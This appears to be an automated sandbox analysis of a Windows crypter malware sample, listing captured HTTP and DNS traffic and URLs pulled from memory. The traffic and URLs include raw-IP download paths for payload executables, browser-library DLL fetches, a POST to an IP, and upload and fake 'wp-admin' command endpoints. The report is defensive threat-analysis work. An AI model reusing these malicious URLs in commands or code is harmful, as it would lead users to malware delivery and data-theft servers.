Source: global traffic	HTTP traffic detected: GET /yuop/66ed9885d9aee_Day2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66eea6336b153_app16540406983468141987.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66ecb454d2b4a_lgfdsjgds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: nerv.com.pe
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: iplogger.org
Source: global traffic	DNS traffic detected: DNS query: tventyvf20pt.top
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: questionmwq.shop
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/1.exe
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/1.exeC:
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/1.exeO
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/1.exeexe9b3/8
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/0
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exe
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exe/
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exeC
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exeC:
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exeS
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exek
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ebb3bf78bd6_Send.exe#111us300
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ebb3bf78bd6_Send.exe#111us300#
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ebb3bf78bd6_Send.exe#111us300C:
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ebb3bf78bd6_Send.exe#111us300R
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ebb3bf78bd6_Send.exe#111us300s
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/lopsa/66ebb3bf78bd6_Send.exe#111us300~
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exe
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exeA
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exeC:
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exeL
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66e705d09b33c_jack.exek
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ed9885d9aee_Day2.exe
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ed9885d9aee_Day2.exe#
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ed9885d9aee_Day2.exe3.exe#lyla
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ed9885d9aee_Day2.exeC:
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ed9885d9aee_Day2.exe_
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ed9885d9aee_Day2.exexe
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ed9885d9aee_Day2.exexexins
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66edb89bc4073_crypted.exe#xin
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66edb89bc4073_crypted.exe#xinC:
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66edb89bc4073_crypted.exe#xiny
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lyla
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lyla#
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lylaC:
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lylaS
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lylac
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lylak
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003E9E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1#
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1)
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1C:
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1per
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1v
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/kurwa
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/kurwaC:
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.111.174.109/kurwaxet
Source: RegAsm.exe, 00000003.00000002.1830248913.0000000001458000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/thebig/noode.exe
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/thebig/noode.exe9
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.33/thebig/noode.exeC:
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-admin.php
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-admin.php#
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-admin.phpx
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-ping.php
Source: RegAsm.exe, 00000003.00000002.1830248913.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/z
Source: RegAsm.exe, 00000003.00000002.1830248913.0000000001420000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190:80/api/wp-admin.php
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190:80/api/wp-ping.php
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://aka.ms/msal-net-iwa
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://aka.ms/valid-authorities
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Yt_9y5LuIpBZXKd9EiYluKkG.exe, 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000000.1787917500.00000000001B2000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issueshttp://schemas.xmlsoap.org/ws/2005/05/identity/NoP
Source: aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000000.1787917500.00000000001B2000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/shttp://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702iht
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0W
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2946311019.000000000130E000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949484745.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvf20pt.top/
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949484745.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvf20pt.top/T
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2946311019.000000000130E000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949484745.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvf20pt.top/d
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949484745.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvf20pt.top/e
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2946311019.000000000130E000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949330729.0000000001334000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000003.1974938378.0000000001349000.00000004.00000020.00020000.00000000.sdmp, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2949484745.000000000134B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvf20pt.top/v1/upload.php
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2951302748.0000000001351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tventyvf20pt.top/v1/upload.phpG
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: VkcBn13x2kmdo9AMRXP8qT_4.exe, 00000010.00000002.2929361187.0000000000401000.00000020.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline
Source: VkcBn13x2kmdo9AMRXP8qT_4.exe, 00000010.00000002.2929361187.0000000000401000.00000020.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509897036.0000000004AB1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509897036.0000000004B1F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.0000000004631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.0000000004631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllm_object
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/adal_token_cache_serialization
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-brokers
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-brokers.
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-client-apps
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-interactive-android
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-2-released)
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changes
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changesShttps://login.microsoftonline.com/common/
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changesy
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change)
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-changeC
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-application-configuration
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-b2c
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-brokers
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-access
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-groups
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-iwa
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-system-browsers
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-up
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/msal-net-up)
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/net-cache-persistence-errors.
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.msa/msal-net-3x-cache-breaking-change
